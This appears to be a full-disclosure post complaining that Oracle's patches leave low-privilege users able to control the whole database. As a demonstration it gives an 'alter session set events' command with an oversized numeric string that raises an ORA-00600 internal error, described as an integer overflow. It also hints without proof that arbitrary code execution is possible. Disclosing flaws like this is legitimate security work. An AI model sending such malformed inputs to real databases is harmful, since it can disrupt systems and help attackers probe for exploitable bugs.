I can't believe it. Oracle releases new patches and they have not been solved one of the main problems: A user with only the SELECT privilege can do WHATEVER (S)HE WANTS WITH THE ENTIRE DATABASE!!!!

I'm not sure if is time to full disclosure it but, anyway, I will "full disclosure" one inocent issue, an integer overflow:

Example:
--Connect with any user with only CREATE SESSION
SQL> alter session set events '10046 trace name context forever, level 16';

Session altered.

SQL> alter session set events '10046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004610046100461004 61004610046100461004610046100461004610046100461004610046100461004610046100461004610046trace name context forever, level 16';
ERROR:
ORA-00600: internal error code, arguments: [300], [985], [], [], [], [], [], []


It's not even a crash but (be sure) that there are other "combinations" that makes it vulnerable to integer overflows allowing the execution of arbritrary code.

PD: Hello Mary Ann! Are you on holidays?
